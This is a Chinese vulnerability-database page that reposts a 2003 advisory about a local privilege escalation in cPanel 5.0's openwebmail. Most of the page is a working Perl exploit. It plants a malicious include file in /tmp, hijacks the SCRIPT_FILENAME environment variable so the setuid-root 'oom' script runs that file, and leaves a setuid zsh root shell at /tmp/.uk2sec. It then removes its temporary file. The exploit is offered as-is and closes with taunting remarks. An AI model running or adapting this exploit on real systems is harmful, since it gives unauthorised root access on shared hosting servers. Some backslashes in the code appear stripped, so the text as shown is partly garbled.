cPanel 5.0 – ‘Openwebmail’ Local Privilege Escalation
漏洞ID | 1053722 | 漏洞类型 | |
发布时间 | 2003-02-19 | 更新时间 | 2003-02-19 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Linux | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/6885/info
It has been reported that cPanels' openwebmail package, distributed as part of the cPanel CGI application, is vulnerable to an external file include vulnerability. Exploitation of this issue may result in local user privilage escalation.
By manipulating environment variables a local attacker may supply, as an include file, an arbitrary local perl-script. This may make it possible to execute the included script with the rights of the openwebmail 'oom' script, which is by default setuid root.
This vulnerability has been reported to affect cPanel version 5 however, previous versions may also be affected.
#!/usr/bin/perl
#UK2_SEC Presents...
#Cpanel Local exploit ;) leaves /bin/zsh rootshell in /tmp
#Written by:
#deadbeat
#For and behalf of UK2_SEC
#http://oakey.no-ip.com:82/uk2sec/
#
#Nice and short exploit ;) yippe don't you love perl..
#mail us:
#[email protected] (deadbeat)
#[email protected] (deadbeat)
#[email protected] (c0w_d0g3)
print "UK2SEC presents...n";
print "Cpanel local epxloit..n";
print "coded by:deadbeat, for UK2SEC...n";
open (FILEHANDLE, ">/tmp/openwebmail-shared.pl") or die ("Can't open
/tmp/openwebmail-shared.pl");
print FILEHANDLE "#!/usr/bin/perln";
print FILEHANDLE "$cmd = "cp /bin/zsh /tmp/.uk2sec;chmod +s
/tmp/.uk2sec";";
close (FILEHANDLE);
local($ENV{'SCRIPT_FILENAME'} = "/tmp/openwebmail-shared.pl");
system("suidperl -T /usr/local/cpanel/base/openwebmail/oom");
print "Done..rootshell should be in: /tmp/.uk2secn";
sleep 2;
print "Clean up..n";
`rm -rf /tmp/openwebmail-shared.pl`;
print "Done...have fun kiddiot...n";
OpenBSD readline信息泄漏漏洞 漏洞ID 1205678 漏洞类型 未知 发布时间 2001-06-27 更新时间 2001-06-27 CVE编号 CVE-2001-0378 CNNVD-ID CNNVD-200106-126 漏洞平台 N/A…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666